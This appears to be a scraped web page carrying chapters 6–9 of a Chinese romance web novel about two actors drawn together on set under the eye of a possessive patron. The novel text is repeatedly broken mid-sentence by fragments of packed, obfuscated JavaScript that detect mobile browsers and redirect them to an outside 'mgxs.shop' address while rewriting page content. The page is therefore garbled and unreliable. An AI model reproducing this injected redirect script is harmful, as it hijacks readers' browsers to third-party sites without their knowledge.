RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126693|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他的手掌宽大,指腹带着常年健身留下的薄茧,还有源源不断的体温。他没有说话,只是自然地握住她的双手,用自己的温度去覆盖她的冰凉。他做得那么理所当然,好像这并不是两个所谓“不太熟”的演员,也不是什么分手多年的前任,而是一对相濡以沫多年习惯互相取暖的寻常夫妻。 商颂的心跳猛地漏了一拍,下意识地想往回抽,“伯雪寻,你这是入戏太深了?” “就算是吧。”伯雪寻没松手,反而握得更紧了一些。他稍微前倾身体,那种强烈的男性气息瞬间侵略了商颂的安全区。 他在昏暗的灯光下注视着她。 “代献秋能因为可怜阿春就把她捡回家,那伯雪寻看见商颂冻得嘴唇发紫,给她暖暖手,应该也不算出格吧?” 他的声音低沉而带有磁性,每一个字都像是某种隐晦的暗示。他不像是在辩解,更像是在借着角色的皮囊,说着自己积压已久的真心话。 “这不需要导演喊卡,商颂。”伯雪寻的手指轻轻摩挲着她的手背,那是一种带着试探与诱惑的安抚,“你没必要分得那么清。在浴室和吻戏的时候,你明明也没分清。” 商颂愣住了。 她感觉自己的手在他掌心里一点点回温,而这种热度正顺着血管一路向上,直到将她的脸颊、耳根甚至心脏都烫得发颤。 是啊,她真的分得清吗? 在那间弥漫着水汽的浴室里,当她将头埋在他肩窝的那一刻,她贪恋的到底是代献秋这个角色带来的救赎感,还是伯雪寻这个人身上那种阔别已久却令她魂牵梦萦的安全感? 伯雪寻看着她游移的眼神,嘴角微微上扬,这一次,没有那种令人心慌的疏离,只有毫不掩饰的捕猎者的耐心。 他不仅要在这部戏里让她“假戏真做”,更要在这个只属于他们两个人的封闭空间里,把当年弄丢的那个春天,一点一点,连本带利地找回来。 “手暖一点了吗?”他又问了一遍,身体再次前压,这一次,鼻尖几乎触碰到了她的发丝。 商颂喉咙发干,只觉得自己此刻仿佛成了那条溺水的鱼,而在她面前的这个男人,不再是想要把她推开的代献秋,而是张开了网等待猎物自投罗网的——真正的伯雪寻。 “……热了。”她听见自己有些软弱的回答。 “热了就好。”伯雪寻低声说着,却依然没有放手,“那就再捂一会儿。反正,外面的雨还没停,我们还有很多时间。” 那个瞬间的温度,像是贪恋到了极致后,被一声惊雷劈下的焦土。 商颂猛地将手抽了出来。 动作幅度太大,连带着手里的半杯热可可都晃荡了一下,几滴褐色的液体溅在了伯雪寻灰色的卫衣上,晕开几点刺目的污渍。 空气里那种甜腻而缱绻的费洛蒙,被她这一下惊恐的抗拒,生生撕开了一道口子。 商颂慌乱地把杯子放在桌面上,整个人像是被针扎了一样,迅速缩到了真皮沙发的角落里。 就在刚刚那一秒,那个温暖的掌心让她几乎沉溺的时候,脑海里那个始终悬着的幽灵——周彻,毫无预兆地显形了。 警告如在耳畔。 伯雪寻维持着那个前倾的姿势,手里空落落的,这种落差让他微微蹙起了眉。他垂眸看了一眼胸口的污渍,又看向脸色在一瞬间变得煞白的商颂。 “怎么了?”他的声音沉了下来,带着探究,那种方才特意营造的柔情蜜意被一种属于猎食者的警觉所取代,“手还没暖过来,烫着了?” “就是觉得有点太热了。”商颂撒了一个极其蹩脚的谎。 她极力想要控制自己的表情,心里有个声音在疯狂呐喊:别推开他。这里没有摄像头,这里没有周彻,只有那个四年前即使在暴雨天也会背你过水坑的少年。让他抱抱你,就一会儿,哪怕是饮鸩止渴。 天人交战,五脏六腑都在被拉扯。 7. 第 7 章 回到自家保姆车上,商颂以为心跳会消停一点。 可惜,有人并不打算放过她。 小艾的脸在一旁白了又红,吞吞吐吐地把手机递过来,“姐……你看热搜。” 商颂迟钝地接过来,屏幕上,词条#伯雪寻点赞寻颂今晚发大水#正以一种恐怖的速度向上攀升。 商颂的心脏猛地一缩。 那是十分钟前发布的一张照片。 博主是个圈内颇有声望的神级站姐,ID名为“春日来信”。在这个圈子里,“春日来信”意味着审美的绝对高地,意味着即便是糊成像素点的生图,也能被修出王家卫电影的质感。 这张图,确实拍得极美。 美到让人心惊肉跳。 照片并没有拍到正脸,或者说,正脸在这个瞬间已经显得多余。镜头被长焦拉得很远,穿过了重重叠叠的雨幕和混乱的场务灯光,只捕捉到了最中心那个风暴眼。 伯雪寻穿着那件略显颓废的夹克,拉链敞开,大半个宽阔的身躯像一座巍峨的山,极尽掌控欲地笼罩住怀里那个单薄的影子。他头颅低垂,线条凌厉的下颌没入暗影,宽大的手掌扣住女人的后颈。 那个吻,看不真切,却满是吞噬与掠夺的意味。 仿佛他是溺水者抓住了唯一的浮木,又仿佛他是那个制造溺水的人。 而在照片下方,“春日来信”配了一行极其文青却又致命的文字: 【我在雨里,看见了两座孤岛的沉没。】 这不是重点。 重点是,在这条充满暗示甚至是明示的CP向路透博文下方,赫然躺着一个拥有千万粉丝的金V账号的点赞记录—— APRICITY-伯雪寻。甚至不是在刚刚,而是十分钟前。 在这个点赞存在的十分钟里,评论区已经彻底瘫痪,CP粉在过年,唯粉在哀嚎和质疑中精神分裂,路人则在这场突如其来的大水中兴奋吃瓜。 “这……是被盗号了吧?”商颂的声音有些干涩。 她甚至不敢想象这背后的公关灾难。伯雪寻是什么人?微博里除了必须要发的商务宣发,就是极其抽象的风景照。 那个连营业都带着一种“爱看不看”的倦怠感的男人。 他会去点赞一张路透?还是一张充满意淫|色彩直接把“因戏生情”四个字拍在脸上的吻戏路透? 这简直比行星撞地球还要荒谬。 “肯定是盗号,或者是工作人员手滑切错号了。”小艾在旁边信誓旦旦地安慰,“现在肯定撤了。” 商颂刷新了一下界面。 没有撤。 那个大红色的点赞图标,依然□□而刺眼地挂在那里。 十分钟。 没有任何危机公关的迹象,没有任何撤回的操作。 它是被默许存在的。 商颂坐不住了。 一股莫名的燥热顺着脊椎窜上来,那是混杂着恐慌、羞耻以及某种隐秘期待的复杂情绪。 她猛地起身,顾不上小艾在身后慌张的呼喊,拉开车门冲了出去。穿过走廊,走向伯雪寻的独立休息室。 休息室里很安静,顶灯没有开,只留了一盏立在墙角的落地灯。 光晕在墙纸上投射出模糊的阴影,像是流动的雾。 空气里浮动着一股极淡的雪松,混杂着刚沐浴过后、沾染了水汽的白苔香,挑衅又蛮横地占据了商颂的感官。 伯雪寻已经换回了自己的私服。 一件质感极佳的炭灰色高领毛衣。羊绒那种柔软蓬松的质地,中和了他五官里那种过分锋利的美感,让他少了几分“代献秋”的粗砺与疯狂,多了几分属于“伯雪寻”的清贵与慵懒。 但他身上那种危险的本质并没有改变。 甚至因为此刻这种过于松弛的状态,反而更让人觉得压迫。 他正整个人陷在单人沙发里,双腿随意地交叠伸展,手里拿着一个银色的平板电脑,修长白皙的指尖在屏幕上缓慢地滑动。 听到门口细微的动静,他撩起眼皮,视线越过屏幕上缘投射过来。 四目相对。 商颂感觉头皮一阵发麻。 那种在刚刚雨戏里未完待续的电流,像是被掐断的电线头,此刻在这干燥温热的休息室里再次噼啪作响,火花四溅。 “伯老师。” 商颂站在门口,并没有进去,像是在守着一道安全防线,“那个……微博。” 伯雪寻的动作没有停。他慢条斯理地将平板放在膝头,指尖轻点了一下屏幕,似乎是在确认什么。 然后,他换了个更舒服的姿势,整个人更加陷进柔软的沙发背里,目光却始终没有离开她的脸。 “看到了?” 他的声音很淡,漫不经心中透着一股子笃定。 商颂咬了咬下唇,试图在这令人窒息的氛围里找出一个大家都能体面下台的解释:“是不是被盗号了?或者账号异常?需不需要我这边联系团队配合澄清一下?比如发个声明说是系统BUG,或者是工作人员操作失误……” 她语速有些快,试图用这些理性的公关术语来掩盖自己内心的慌乱。 “没盗号。” 三个字。 干脆,利落,没有任何回旋的余地。直接斩断了她所有的假设。 商颂瞬间卡壳了。 所有的公关草稿都噎在了喉咙里。她微微张开嘴,一种极其荒谬的猜想在脑海里疯狂滋生,但她不敢认。 “那是手滑?” 她的声音弱了下去,底气明显不足,“毕竟那个点赞的位置是在右下角,如果用平板的话,确实挺容易误触的……” 这理由连她自己都不信。谁手滑十分钟还不取消? “也没手滑。” 伯雪寻看着她。看着她明明已经猜到了答案,却还要小心翼翼地想要把这层窗户纸糊上的样子。 他忽然觉得有些好笑,又觉得有些可怜得可爱。 他随手把平板扔在沙发的一侧,站起身来。 那个瞬间,休息室的空间仿佛随着他的站起而变得逼仄。他太高了,阴影投下来,带着一种不容忽视的侵略感。 他走到旁边的红木桌前,拿起玻璃壶,倒了一杯温水。 水流撞击玻璃壁的声音清脆悦耳,在这安静的空间里显得格外清晰。 “照片拍得挺好的。” 他端着那杯水,并没有喝,而是转过身,迈着长腿向她走来。 那是属于猎食者的步伐,不急不缓,每一步都踩在商颂紧绷的神经上。 他在离她两步远的地方站定,微微低头看她。 商颂不得不仰起头才能与他对视。这种身高的落差感让她在气势上输得一败涂地。 “氛围感很足。”他的视线在她的眉眼间流连,语气里竟然真的带了几分纯粹的欣赏,“把你拍得很漂亮。” 商颂觉得自己像是听到了什么天方夜谭。 她难以置信地看着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126694|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前这个男人。因为拍得漂亮?所以就点赞了? 这是什么理由? 难道他不知道这个赞点下去,明天剧组门口会被记者围得水泄不通吗?他不知道那千万粉丝会为了这一指尖的动作发疯吗? 这种任性又仿佛置身事外的态度,简直傲慢到了极点。 “可是那是CP超话……” 商颂试图让他明白事情的严重性,却发现自己的声音软得像是在撒娇,“照片配文还是那种话,大家会误会的。” “误会?” 伯雪寻像是听到了什么有趣的词。 他往前逼近了半步。 安全距离被彻底打破。 商颂下意识地后退,背脊重重地撞在冰冷的门框上,发出一声闷响。 退无可退。 “误会什么?” 他抬起手,商颂以为他要做什么,吓得呼吸一滞,但他只是将那杯温水递到她手里,动作绅士得无可挑剔,语气却咄咄逼人:“误会我们因戏生情?还是误会我在假戏真做?” 那双漆黑的瞳仁直勾勾地锁着她,像是要把她此时此刻所有的慌乱、闪躲、甚至心动都看个通透。眼神里带着某种不加掩饰的温度,烫得商颂不敢直视。 “商颂。” 他叫她的全名。 “在剧本里,阿春是代献秋的劫,是他不得不死在他手里的宿命。但在剧本外——” 他顿了顿,身体微微前倾。那张在镜头前完美无瑕的脸在她面前放大,近得连睫毛的颤动都清晰可见。 “我有权利欣赏我的搭档。那张照片里的眼神……” 他的视线顺着她的眉眼向下滑落,经过她挺翘的鼻尖,最终停留在她的唇上。 那里因为刚刚长时间的激烈亲吻,唇脂被蹭花了,边缘模糊,显得有些红艳和肿胀,像是一朵被揉碎了汁液的玫瑰。 喉结在他修长的颈间微微滚动。 “很真。” 商颂手里握着那杯温水,心跳如擂鼓,震得耳膜嗡嗡作响。 “我只是在确认一件事。” 他低下头,凑在她的耳畔,温热的呼吸喷洒在她敏感的耳廓上,“我想知道,刚才在雨里那一刻,在那个吻里……” “除了阿春,商颂有没有那么一秒钟,也陷进去了?” 商颂猛地抬眼看他。 那一刻,所有的自我欺骗都轰然崩塌。 她看懂了他眼底的情绪。 那个点赞,根本不是什么手滑,也不是什么因为照片好看。 那是他在这个虚伪的名利场里,用一种看似任性实则极度张扬的方式,给她递出的一枝带刺的玫瑰。 他在众目睽睽之下,在这个所有人都带着面具把感情当生意的圈子里,隐晦又嚣张地告诉全世界,也告诉她: 我想挽回你。 我想占有你。 他在赌。赌她那一瞬间的心软,赌她那一瞬间的意乱情迷。 商颂的心跳彻底乱了节奏,血液一股脑地往脸上涌,烧得脸颊滚烫。她张了张嘴,想要辩驳,想要像以前那样冷静地用“入戏太深”四个字来搪塞。 但在他那双仿佛能洞若观火的眼睛注视下,任何语言都显得苍白无力,任何借口都像是欲盖弥彰。 因为他说得对。 连她自己都不敢承认,在那个雨夜,在那个快要令人窒息的怀抱里。 即便只有那一秒钟。 她确实,是陷进去了。 8. 第 8 章 那个在微博上依然没有被撤销的点赞,像是隐蔽处的枝桠开出来的洁白小花。每个人都在用一种讳莫如深的眼神打量他们,片场的风吹草动都成了暧昧的佐证。 然而伯雪寻不仅没有收敛,反而像是个刚刚尝到禁果滋味的少年,在这场危险的边缘试探游戏中,显得愈发游刃有余,甚至可以说是——肆无忌惮。 下午的拍摄间隙,日光有些发白,晒得人有些倦懒。 商颂刚拍完一场哭戏,眼睛有些肿,正裹着厚重的羽绒服缩在折叠椅上,手里捧着自己的保温杯。那是周彻给她配的。 她刚要把杯子递给旁边的小艾去加水,一只骨节分明的手就横空截了过去。 商颂猛地抬头。 伯雪寻穿着那身沾了血污的戏服,脸上带着精致的战损妆,眼角那抹化妆师特意晕染的殷红还没擦去,显得整个人妖冶又颓丧。 他甚至没看她,只是极自然地拧开了那个带有红圈的杯盖。 “哎,那个是……”商颂的惊呼卡在喉咙里。 伯雪寻微微仰头,喉结在修长的颈项间随着吞咽的动作上下滚动。他并没有碰到杯口,而是隔空倒了一口,但他放下杯子时,手指若有似无地摩挲过商颂刚刚唇瓣碰过的边缘。 “怎么?”他喝完,侧过头看她,眉梢微挑,神情坦荡。 商颂脸有些热,旁边几个场务的目光已经似有似无地飘过来了。 “那是我的杯子。”她压低声音,语气里带着点恼意,“你的杯子在那边。” 指了指两米开外,助理正手里拿着那个标志性的黑色磨砂杯不知所措。 伯雪寻顺着她的视线看了一眼,然后漫不经心地收回目光,将手里的银色杯子重新塞回商颂手里。 指尖相触,他干燥滚烫的温度顺着杯身传来,烫得商颂指尖一缩。 “抱歉。” 他嘴上说着抱歉,语气里却毫无歉意,反而带着一丝耐人寻味的慵懒笑意,“太渴了,看着顺手,以为是我的。水温不错,甜的?” 那是为了保护嗓子泡的罗汉果茶,自然有一点回甘。但“甜”这个字从他舌尖滚出来,在这个午后显得格外意味深长,像是一种裹着糖衣的调戏。 还没等商颂反驳,段南桥那边的大喇叭已经响了。 伯雪寻转身朝镜头走去,留给她一个被日光拉长的背影。商颂有些机械地抬手,想要把杯里的水倒掉,却在触碰到那温热的金属时,鬼使神差地停住了动作。 这种隐秘的侵略感,随着拍摄的深入,像月光泻地般无孔不入。 如果说“拿错水杯”还算是一种带着玩笑性质的试探,那么接下来的事,更像是在这摇摇欲坠的平衡木上又推了一把。 那是几天后的夜戏等待时间。 片场乱糟糟的,为了布光,灯光师们在吼叫,机器的轰鸣声此起彼伏。商颂为了躲清静,找了个背光的角落背台词。 身边忽然一沉。 不用回头,那股熟悉的雪松味便霸道地笼罩了过来。伯雪寻在她身边的台阶上坐下。 在这个圈子里,他是众星捧月的顶流,但在这一刻,他却极其随意地屈着长腿,甚至那件价值不菲的风衣衣摆拖在满是灰尘的台阶上也浑不在意。 他没说话,只是从兜里掏出一个黑色的耳机盒。 不是那种为了时尚穿搭的大耳机,而是极其专业的监听入耳式耳机,线缠绕在他的指尖。 “伸手。”他低声说。 商颂愣了一下,还没反应过来,他已经倾身靠近。 两人的距离瞬间被拉近到危险红线以内。商颂甚至能看清他眼睫下那一小片的松林阴影,呼吸都为此停滞了半拍。 微凉的指尖拨开她耳侧的碎发,带着薄茧的拇指轻轻按在她的耳廓上,动作轻柔得不可思议,将那枚深灰色的耳机塞进了她的左耳。 “什么……” “嘘。” 他将食指竖在唇边,示意她噤声。然后,他自己戴上了右边那一枚,按下手机上的播放键。 外界的嘈杂瞬间被隔绝。 耳机里流淌出来的,不是什么流行乐,而是一段有些粗糙的钢琴Demo。 前奏很长,是模仿雨声的白噪音,紧接着,男人低沉略带沙哑的哼唱钻进耳膜。没有歌词,只是慵懒随意的哼鸣,带着那种深夜里特有的孤独与缱绻。 是伯雪寻的声音。 去掉了录音棚里那种精密的修饰,这段音频里的他声音更如烈酒醇香,那种震动仿佛顺着耳机线,直接传导到了商颂的心脏上,引起一阵细密的酥麻。 “给《窥镜》写的OST小样。” 他在只有两人共享的寂静世界里,偏过头看着她。夜色掩映下,他的眼神专注得吓人,瞳孔里映着远处明明灭灭的灯火,还有缩影在其中的她。 “商颂。” 他的声音和耳机里的歌声重叠在一起,产生了混响般的致幻效果。 “听得出来吗?这里面,藏着我想对阿春说的话。” 商颂的心猛地漏跳一拍。 给阿春的话? 那旋律里的纠缠、压抑、和一种卑微的渴求,太满了。满到快要溢出来。 剧本里的代献秋对阿春是隐忍的爱,而耳机里这段旋律,分明是更为赤裸的——我想占有你,哪怕共沉沦。 她像是被烫到一般想要摘下耳机,手腕却被他一把攥住。 力道不大,却根本挣脱不开。 “好听吗?”他执着地问,指腹在她的腕骨上轻轻摩挲。 “……好听。”商颂听见自己的声音发飘。 伯雪寻终于笑了。 “那就好。” 他松开手,却没有把耳机线收回去,两人就像是被这根细细的黑线连体的共生兽,在这喧嚣的片场一角,共享着一段不可告人的心跳频率。 这种暧昧像温水煮青蛙,商颂一边因为这种背德的刺激感而颤栗,一边又被随之而来的巨大恐慌扼住咽喉。 这恐慌在第二天早上达到了顶峰。 那天是大早班,商颂到片场时,外面已经围了不少早起蹲守的粉丝和站姐。雾气还没散尽,空气湿冷。 商颂裹紧了大衣,那是一件麦丝玛拉的烟灰色泰迪熊大衣,而为了搭配这件衣服沉闷的色调,她昨天特意翻出了一只中古的香奈儿黑金编织胸针别在领口。 因为喜欢,她还没来得及摘下来,直接穿着这身私服到了片场。 两分钟后,伯雪寻的保姆车停下。 尖叫声瞬间刺破了晨雾。 车门打开,那个身形挺拔的男人迈步而下。 他今天并没有穿什么复杂的潮牌,只是一件极简的黑色高领毛衣,外面罩了一件深灰色的羊绒大衣,剪裁利落。 而在那黑色的衣领上,在最显眼的位置,赫然别着一只胸针。 香奈儿黑金编织系列。 不是相似,不是同款,是根本就属于同一个非常罕见的中古套系的男款设计,和商颂胸口那只,无论从色泽、材质还是磨损程度上,都像是一对失散多年的恋人终于重逢。 那一刻,商颂只觉得脑子里“嗡”的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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商颂记得上一次,仅仅是因为在饭局上被一个投资方多看了两眼并被摸了手,那个投资方第二天就莫名其妙地撤资并在圈内销声匿迹。而周彻当晚只是坐在沙发上,一边慢条斯理地擦着眼镜,一边让她跪在软垫反省了整整两个小时。 而现在,事情闹得这么大,伯雪寻的挑衅几乎已经贴到了周彻的脸上。 按照常理,周彻的电话早就应该像催命符一样打过来了,或者是助理冰冷的通知短信。 可是没有。 什么都没有。 对话框里空空荡荡,上一条消息还停留在半个月前,他只有简短的两个字:【安分。】 没有质问,没有怒火,没有封|杀。 甚至连一句询问都没有。 这种诡异的安静,比狂风暴雨更让商颂感到恐惧。 周彻是个极其精明的商人,也是个耐心的猎人。他的沉默只有一种可能——他在等。 在等猎物自己因为恐惧而露出破绽,或者是,在等那个不知天高地厚闯入他领地的“入侵者”再陷得深一点,好让他一次性连根拔起,不留后患。 镜子里的那张脸,妆容精致,眼神里却是一片慌乱的苍白。 一边是伯雪寻那种带着少年意气、如同烈火般不管不顾要把她点燃的深情;一边是周彻那种如同深海般冰冷、寂静却随时能将她碾碎的权势。 她夹在中间,像是被置于沸水与冰山之间。 9. 第 9 章 靴子落地的时候,并没有预想中的巨响,只有令人心悸的寂静。 周彻是在一周后的傍晚到的。 商颂正在和伯雪寻对戏。那是一场热恋的戏,所有的欲言又止,都编织成一张致密的捕梦网,看得周围的工作人员都红了脸。 就在这暧昧发酵到顶峰的一刻,众人噤声。 一阵整齐而沉闷的脚步声穿透了人群。 商颂似有所感地回过头。 周彻就站在那里。 他穿着一件深墨色的高定风衣,并没有打领带,衬衫扣子解开一颗,露出一点冷白色的锁骨。 商颂机械地迈开腿,想要走过去,却发觉双腿沉重如铅。 周彻没有等她走完剩下的路。他迈开步子,皮鞋踏过地上的缆线,几步走到她面前。 “瘦了。” 周彻抬起手。他的指腹微凉,没什么温度,轻轻蹭过商颂的脸颊,替她将耳边一缕被汗水打湿的碎发别到耳后,指尖却似有若无地擦过她那天戴了伯雪寻耳机的那只耳朵。 商颂不受控制地战栗了一下。 “怎么出了这么多汗?”周彻微笑着,从西装口袋里掏出一块没有任何褶皱的手帕,一点点擦去她额角的细汗。 那种温柔里藏着令人毛骨悚然的占有欲。 他在众目睽睽之下,用这方手帕,极其从容地擦去了另一个男人留在她身上的印记。 “我带着心脏过来了。”周彻宠溺地刮了下商颂的鼻尖,并指使保镖拿出来一件以心脏为灵感的高定裙装。 保镖的动作小心翼翼,生怕损毁了一点周大少亲自设计的作品。 周彻不仅是顶级玩咖,更是个有着恶趣味的审美天才。 她有自知之明,她现在不过是利用这份宠让自己过得舒心一点。 这是她的交易。 酒红色心脏包臀长裙,勾勒出曼妙的身线,左胸镂空金属装置,随着步态摇动,就如同心脏跳动跃出,给人震撼又崭新的视觉感。 “真美。”周彻的手指流连在那冰冷的金属边缘,随后顺着她的腰线滑落,“这心脏现在归我保管了,对吗?” 商颂忍着金属贴肤的寒意,仰头对他露出一个教科书般的妩媚笑容,“只要周大少想要,挖出来又何妨。” 不远处,伯雪寻正站在那里。 那是争夺配领地时无声的厮杀。 一个是拥有獠牙却被困在笼中的年轻野兽,一个是手握猎枪、优雅残酷的猎人。 周彻的视线终于越过商颂的肩膀,轻飘飘地落在伯雪寻身上。 两人的目光在半空中短兵相接。 周彻甚至没有生气。 他只是扶了扶镜框,嘴角噙着一抹若有似无的弧度,那是成年人看顽童胡闹时的轻蔑与宽容。他并没有同伯雪寻说话,甚至没有给他哪怕一个正式的点头。 这种无视,是比辱骂更高级的羞辱。 “商颂,准备好了吗?这场光线只有十五分钟!”段南桥的声音打破了这微妙的修罗场。 即便是有金主探班,段南桥也从未给过好脸色,毕竟这是她的片场。 那件高定红裙最终还是被留在了保姆车里。 尽管周彻脸色阴沉,但段南桥在这个问题上寸步不让。她要的不是一只在红毯上开屏的孔雀,而是一个刚刚游过冥河满身湿气爬上岸的艳鬼。 “阿春只能穿白色。”段南桥把一件毫无装饰的棉麻白裙丢给商颂,“而且是那种洗旧了随时会随风飘散的白。” 换上这身衣服的商颂,站在伊豆阴沉的天幕下,的确像极了一个不祥的预兆。 风卷起漫天花雨。商颂赤着脚,踩着腐烂与新生并存的泥土,那条白裙子单薄得仿佛没有重量,只能依附着她单薄却曼妙的躯体。 “Action。” 没有多余的道具,没有那颗做作的机械心脏。这场戏唯一的道具,就是这棵沉默了百年的樱花树,和那个深不见底的秘密。 阿春心情似乎很好。她背着手,像个刚放学的女高中生一样,绕着那棵树转了两圈,脚趾甚至俏皮地在泥土上碾碎了几片花瓣。 代献秋站在几米开外,满眼血丝,那种被真相折磨到极致的憔悴惟妙惟肖。 “阿Sir,你看这树开得多疯啊。”商颂停下脚步,回头冲他嫣然一笑。那个笑容纯粹得没有一丝杂质,却让监视器后的段南桥生生打了个冷颤。 “樱花树下埋着尸体,所以才会开得这么红。”这是一个试探性的陈述句。 “好老套的故事。”商颂嫌弃地皱了皱鼻子,随即蹲下身,修长的手指插入湿润的黑色泥土里,轻轻抠挖着,“埋尸体太大了,也不好运,代sir也是做刑侦的,这很不严谨。” “那应该埋什么?” 伯雪寻走近了。镜头随着他的步伐推进,形成一种压迫感。 商颂没有抬头。她像是在寻找什么宝贝,指甲缝里塞满了黑泥,衬得那一双手愈发白得刺眼。 “埋最吵的东西。” 她忽然停下动作,侧过脸,那双眼里闪烁着一种神经质式的狡黠。 “比如——心。” “咚、咚、咚。”商颂嘴里模仿着心跳的声音,然后竖起一根沾着泥的手指,放在唇边,“尤其是那种自以为是、高高在上的男人的心。哪怕被剖出来了,捧在手里的时候,它还在跳呢。” 周彻在场外,眉头猛地锁死。 镜头里,阿春笑得更加开心了,像被他的反应取悦到了。 “代sir不是一直在找被剖出的心脏吗?” 她伸手指了指身下的树根,动作轻快得像是在指认一只被藏起来的玩具熊,“我嫌吵,就把他的心挖出来,种在这儿了。” “你是开玩笑。”伯雪寻盯着她,声音绷得极紧。 “是玩笑吗?”商颂歪了歪头,她慢慢站起身,裙摆沾着泥土,她凑在代献秋面前,用沾满泥土的食指,轻轻戳了戳他僵硬的左胸。 “当初那位周先生也以为我在开玩笑。他在公海上,在那艘漂亮的大船里,喝着红酒,以为我是只要给他跳支舞就能带回家的流浪猫。” 商颂的眼神在那一刻彻底变了。 不再是纯欲,也不是懵懂。 那是一种极端的冷酷与回味。她在回味那个日落,回味那一刀刺进去的手感,回味那个不可一世的商业巨鳄在她怀里渐渐失去温度的过程。 “但他错了。”她贴着伯雪寻的耳朵,气若游兰,“我不仅剖了他的心,还亲了亲它,它是热的,腥的……但我还是觉得它在这土里比较安静。” 这一段台词,剧本上写的是【似是而非的玩笑】。 但商颂把它演成了【确凿无疑的炫耀】。 这就是易为春。她在告诉代献秋真相,用一种最荒谬、最像谎言的方式。她知道代献秋爱她,爱到哪怕她现在满手鲜血,他也舍不得拷上她。 伯雪寻瞳孔剧震。 作为对手戏演员,他最直观地感受到了商颂身上散发出来的那股寒意。那不是在演戏,那一刻她就像是一个真正的杀人犯,正在向她的共犯展示战利品。 但他接住了。 他是代献秋,那个已经无可救药地爱上嫌疑犯的堕落刑警。 伯雪寻没有拔枪,没有怒吼。 他猛地伸手,一把攥住商颂那只指认现场的手。 “别说了。” 他的声音在颤抖,带着乞求。他在乞求她不要再说下去,乞求她哪怕骗骗他也好,只要这层窗户纸不捅破,他就还能装作什么都不知道,还能继续沉溺在这个春天的梦里。 “可是哥哥,你不想挖开看看吗?”商颂另一只手攀上他的肩膀,笑得天真烂漫,“就在这底下,两尺深。那时候雨很大,跟你那天捡到我的雨一样大……” “我让你闭嘴!” 伯雪寻突然爆发,一把将她狠狠抵在粗糙的树干上。漫天樱花被震得簌簌落下。 他赤红着眼,看着面前这个妖孽般的女人。他明知道那土底下或许真的有一颗腐烂的心脏,明知道那个周游真的就是死在她手里,明知道只要他现在往下挖一挖,就能结束这个案子,回到原本的光明大道上去。 但他没有。 他的手死死扣着她的腰,呼吸急促而浑浊。 随后,在全场窒息般的注视下,代献秋做出了抉择。 他松开了那只原本应该用来挖掘罪证的手,转而插入了商颂的发间。他低下头,用一种要把那些恐怖的真相全部堵回去的狠戾,重重地吻住了她那张正在吐露着残忍事实的嘴。 如果真的是你杀的。 那就让我成为你的共犯。 这个吻充满了血腥气与泥土味。商颂在笑,在吻的间隙里发出一声声低不可闻的得逞轻笑。而伯雪寻在绝望地掠夺,他在用嘴唇封印一只恶鬼,试图将这个春天永远埋葬在秋天的萧瑟里。 监视器后的周彻,此时脸色已经难看到了极点。 他听懂了。 周游,那个不可一世却被剖心的男人,商颂演的是剧本,但那个眼神,那个嫌弃心脏太吵、太过自以为是的眼神,分明是越过镜头,直直地刺向他的。 那是她在戏里,完成的一场对他的精神谋杀。 “好。” 段南桥叹息地说出了那个字,“过。” 没有人欢呼。 这一场戏太重了,压得人心口发慌。 商颂靠在树干上,那种疯狂的戾气渐渐消退,变回了原本的疲惫。伯雪寻退后半步,背对着她,大口喘息着平复情绪。他看着自己满是泥土的手,那是刚刚握过她那只“杀人手”留下的痕迹。 风吹过,一片樱花瓣落在商颂锁骨的凹陷处,像是一滴粉色的血。 她赢了。 不管是戏里的代献秋,还是戏外的伯雪寻,亦或是那个原本想要掌控全场的周彻。 在这个樱花树下的黄昏里,都成了她这场疯狂独角戏的陪葬品。 “拍完了吗?”周彻将商颂的戾气照本全收,只道,“订了餐,陪我吃饭。” 不是询问,是通知。 商颂感觉喉咙发紧,她下意识地想要回头看一眼伯雪寻,却被周彻搭在肩上的手不动声色地扣紧。 “……好。”她听见自己从牙缝里挤出这个字。 黑色的幻影静静地停在片场外的私人车位上。 车厢内极其安静,隔绝了外面的风雨欲来。 车后座的小桌板已经展开,摆放着精致的日料,那是专门从市区空运过来的,甚至连用来盛刺身的冰都没化。 周彻并没有动筷子。 他姿态闲适地靠在真皮椅背上,手里把玩着一只空了的茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126696|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯,“在怕什么?怕我在那么多人面前不给你面子?还是怕……” 他顿了顿,轻笑了一声,“怕我伤了那个玩意儿?” 商颂拿着筷子的手猛地抖了一下,一块寿司掉落在桌面上。 她慌乱地想要捡起来,却被周彻按住了手腕。 “不用捡了,脏了就扔了。”周彻漫不经心地说着,意味深长,“就像有些沾了泥点的东西,看着碍眼,不如扔得远远的。” 